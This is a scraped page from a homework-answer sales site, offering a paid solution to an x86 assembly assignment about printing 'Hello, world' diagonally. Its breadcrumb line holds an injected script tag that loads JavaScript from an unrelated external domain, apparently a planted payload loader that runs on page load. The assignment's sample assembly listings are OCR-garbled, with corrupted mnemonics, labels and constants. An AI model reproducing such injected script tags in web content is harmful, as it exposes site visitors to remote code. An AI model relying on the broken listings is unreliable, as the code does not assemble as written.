Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> x86 Intel syntax COMPUTER ASSEMBLY LANGUAGEmodify our classic "Hello, world" program to print the te

(Solved): x86 Intel syntax COMPUTER ASSEMBLY LANGUAGEmodify our classic "Hello, world" program to print the te ...



x86 Intel syntax COMPUTER ASSEMBLY LANGUAGE

modify our classic "Hello, world" program to print the text in a fancy way: diagonally. The output of your program should look like this at all. You can use any of the instructions we have learned so far, but you'll mostly need inc and dec, cmp. and the various conditional jumps. You can either use syscalls or the C standard ibrary functions Heres the syscall-style Hello, world! program: hello.s Prints "Hello, world! 939 section .data "Hello, world!", 18, 8 $-nsg db equ msg MSGLEN section .text global start start: ; Syscall code in rax ;1st arg, file desc. to urite to ; 2nd arg, addr. of message ; 3rd arg, num. of chars to print mOv mov rdi, 1 mov rsi, g mov rdx, HSGLEN syscall rax, 1 ; Terminate process ; Syscall code in rax ; First paraneter in rdi ; End process mov mov rdi, e syscall rax, 60 And here it is using the C library ;;; hello.s Prints "Hello, world!" section .data ; Note: sg it nul-terminated db "Hello, world!", 18, 0 nsg section .text extern printf global start start: push rbp Bov rbp, rsp mov rdi, mSg call printf pop rbp mov rax, 8 re Show transcribed image text modify our classic "Hello, world" program to print the text in a fancy way: diagonally. The output of your program should look like this at all. You can use any of the instructions we have learned so far, but you'll mostly need inc and dec, cmp. and the various conditional jumps. You can either use syscalls or the C standard ibrary functions
Heres the syscall-style Hello, world! program: hello.s Prints "Hello, world! 939 section .data "Hello, world!", 18, 8 $-nsg db equ msg MSGLEN section .text global start start: ; Syscall code in rax ;1st arg, file desc. to urite to ; 2nd arg, addr. of message ; 3rd arg, num. of chars to print mOv mov rdi, 1 mov rsi, g mov rdx, HSGLEN syscall rax, 1 ; Terminate process ; Syscall code in rax ; First paraneter in rdi ; End process mov mov rdi, e syscall rax, 60
And here it is using the C library ;;; hello.s Prints "Hello, world!" section .data ; Note: sg it nul-terminated db "Hello, world!", 18, 0 nsg section .text extern printf global start start: push rbp Bov rbp, rsp mov rdi, mSg call printf pop rbp mov rax, 8 re


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now

A PHP Error was encountered

Severity: Core Warning

Message: PHP Startup: Unable to load dynamic library 'dba.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so (libtokyocabinet.so.9: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so: cannot open shared object file: No such file or directory))

Filename: Unknown

Line Number: 0

Backtrace: